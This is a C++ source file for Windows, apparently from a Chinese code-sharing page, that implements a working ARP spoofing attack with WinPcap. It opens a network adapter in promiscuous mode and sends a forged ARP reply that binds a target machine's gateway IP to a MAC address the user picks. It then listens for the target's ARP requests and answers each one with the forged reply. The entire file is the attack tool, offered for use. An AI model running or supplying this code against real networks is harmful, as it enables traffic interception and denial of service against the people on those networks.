distcp.cpp

arp绑定攻击代码,強行arp绑定

// distcp.cpp : 定义控制台应用程序的入口点。
//
/****************************************************************************
 *  強行arp綁定，對某MAC設備強行綁定其錯誤網關MAC地阯
 *  首先髮起錯誤arp網關定位包，再監聽其arp解析請求包，囬應錯誤arp網關定位包
 *  liuyin   2008-3-10
 *  Enviroment: WinPcap 4.1 beta 3, windows xp,,winsock2
 ****************************************************************************/



#include "stdafx.h"
#include "pcap.h"
#include "process.h"
#include "conio.h"
#include "winsock2.h"


bool quit_flag=false;
HANDLE hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
//HANDLE hQuitEvent=CreateEvent(NULL,TRUE,FALSE,NULL);

unsigned __stdcall p_handler(void *pm);

unsigned char TempSrcMAC[6];


// DLC Header
typedef struct tagDLCHeader                     
{
	unsigned char      DesMAC[6];             /* destination HW addrress */
	unsigned char      SrcMAC[6];             /* source HW addresss */
	unsigned short     Ethertype;                /* ethernet type */

	unsigned short     HW_Type;           /* hardware address */
	unsigned short     Prot_Type;             /* protocol address */
	unsigned char      HW_Addr_Len;       /* length of hardware address */
	unsigned char      Prot_Addr_Len;         /* length of protocol address */
	unsigned short     Opcode;                /* ARP/RARP */
 
	unsigned char      Send_HW_Addr[6];     /* sender hardware address */
	unsigned long      Send_Prot_Addr;      /* sender protocol address */
	unsigned char      Targ_HW_Addr[6];     /* target hardware address */
	unsigned long      Targ_Prot_Addr;      /* target protocol address */
	unsigned char      padding[18];
} ARPFRAME, *PARPFRAME;
// ARP Packet = DLC header + ARP Frame
typedef struct tagARPPacket                 
{
     ARPFRAME      arpFrame;
} ARPPACKET, *PARPPACKET;


ARPPACKET arp_packet;

/* Transfer a String MAC to Real MAC */
void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)
{
      unsigned int i, index = 0, value, temp;
      unsigned char c;
 
      _strlwr(lpHWAddrStr);                                                   // 转换成小写
 
      for (i = 0; i < strlen(lpHWAddrStr); i++)
     {
           c = *(lpHWAddrStr + i);
            if (( c>='0' && c<='9' ) || ( c>='a' && c<='f' ))
           {
               if (c>='0' && c<='9')  temp = c - '0';                         // 数字
               if (c>='a' && c<='f')  temp = c - 'a' + 0xa;               // 字母
               if ( (index % 2) == 1 )
              {
                   value = value*0x10 + temp;
                   HWAddr[index/2] = value;
              }
              else value = temp;
              index++;
         }
               if (index == 12) break;
        }
}



int _tmain(int argc, _TCHAR* argv[])
{

	HANDLE hThread;
	unsigned threadID;
	pcap_if_t *alldevs;
	pcap_if_t *d;
	int inum;
	int i=0;
	char errbuf[PCAP_ERRBUF_SIZE];
	pcap_t *adhandle;
	
	if(argc<4) {printf("Usege: distcp target_mac target_ip getway_mac getway_ip  \n");return 0;}
    
	//printf("%s,%s,%s \n",argv[1],argv[2],argv[3]);

	memset(TempSrcMAC,0,sizeof(TempSrcMAC));

    /* Retrieve the device list on the local machine */
    if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
    {
        fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
        exit(1);
    }
    
    /* Print the list */
    for(d=alldevs; d; d=d->next)
    {
        printf("%d. %s", ++i, d->name);
        if (d->description)
            printf(" (%s)\n", d->description);
        else
            printf(" (No description available)\n");
    }
    
    if(i==0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return -1;
    }
    
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);
    
    if(inum < 1 || inum > i)
    {
        printf("\nInterface number out of range.\n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    /* Jump to the selected adapter */
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
    
    /* Open the device */
    if ( (adhandle= pcap_open(d->name,          // name of the device
                              65536,            // portion of the packet to capture. 
                                                // 65536 guarantees that the whole packet will be captured on all the link layers
                              PCAP_OPENFLAG_PROMISCUOUS,    // promiscuous mode
                              1000,             // read timeout
                              NULL,             // authentication on the remote machine
                              errbuf            // error buffer
                              ) ) == NULL)
    {
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    printf("\nlistening on %s...\n", d->description);
    
    /* At this point, we don't need any more the device list. Free it */
    
    

	/* send first fake ARP packet*/

	memset(&arp_packet,0,sizeof(ARPPACKET));

	formatStrToMAC(argv[1],arp_packet.arpFrame.DesMAC);
	formatStrToMAC(argv[3],arp_packet.arpFrame.SrcMAC);

	formatStrToMAC(argv[1],arp_packet.arpFrame.Targ_HW_Addr);
	formatStrToMAC(argv[3],arp_packet.arpFrame.Send_HW_Addr);
	
	arp_packet.arpFrame.Targ_Prot_Addr=inet_addr(argv[2]);

	formatStrToMAC(argv[1],TempSrcMAC);

	arp_packet.arpFrame.Send_Prot_Addr=inet_addr(argv[4]);
	
	arp_packet.arpFrame.HW_Type = htons(((unsigned short)0x1));

	arp_packet.arpFrame.Opcode=htons((unsigned short)0x2);

	arp_packet.arpFrame.Ethertype=htons((unsigned short)0x0806);
	
	arp_packet.arpFrame.Prot_Type = htons(((unsigned short)0x0800));    // 上层协议类型
	arp_packet.arpFrame.HW_Addr_Len = (unsigned char)6;                 // MAC地址长度
	arp_packet.arpFrame.Prot_Addr_Len = (unsigned char)4;               // IP地址长度




	pcap_sendpacket(adhandle,(const u_char *)&arp_packet,sizeof(arp_packet));

	
	hThread=(HANDLE)_beginthreadex(NULL, 0, p_handler,(void *)adhandle, 0, &threadID );

	while(getche()!='q')
	{		
	}
    
	quit_flag=true;
	//SetEvent(hQuitEvent);
	WaitForSingleObject(hEvent,INFINITE);
	
	CloseHandle(hEvent);
	CloseHandle(hThread);

	pcap_freealldevs(alldevs);

    return 0;


}

unsigned __stdcall p_handler(void *pm)
{
	int res=0;
	struct pcap_pkthdr *header;
	const u_char *pkt_data;
	 /* Retrieve the packets */
	pcap_t *pDev=(pcap_t*)pm;
    while(!quit_flag){
		res = pcap_next_ex( pDev, &header, &pkt_data);
        if(res == 0)
            /* Timeout elapsed */
            continue;
        if(res<0) break;
		PARPFRAME rec_packet=(PARPFRAME)pkt_data;
		if(rec_packet->Ethertype==htons((unsigned short)0x0806))
		{
			if(!memcmp(rec_packet->SrcMAC,TempSrcMAC,sizeof(TempSrcMAC)))
			{
				pcap_sendpacket(pDev,(const u_char *)&arp_packet,sizeof(arp_packet));
			}
		}
		/* Manipulate packets have received "*/
		

    }
    
    if(res == -1){
        printf("Error reading the packets: %s\n", pcap_geterr((pcap_t*)pm));
		SetEvent(hEvent);
		_endthreadex( 0 );
        return 0;
    }
	
	SetEvent(hEvent);
	_endthreadex( 0 );
	return 0;
}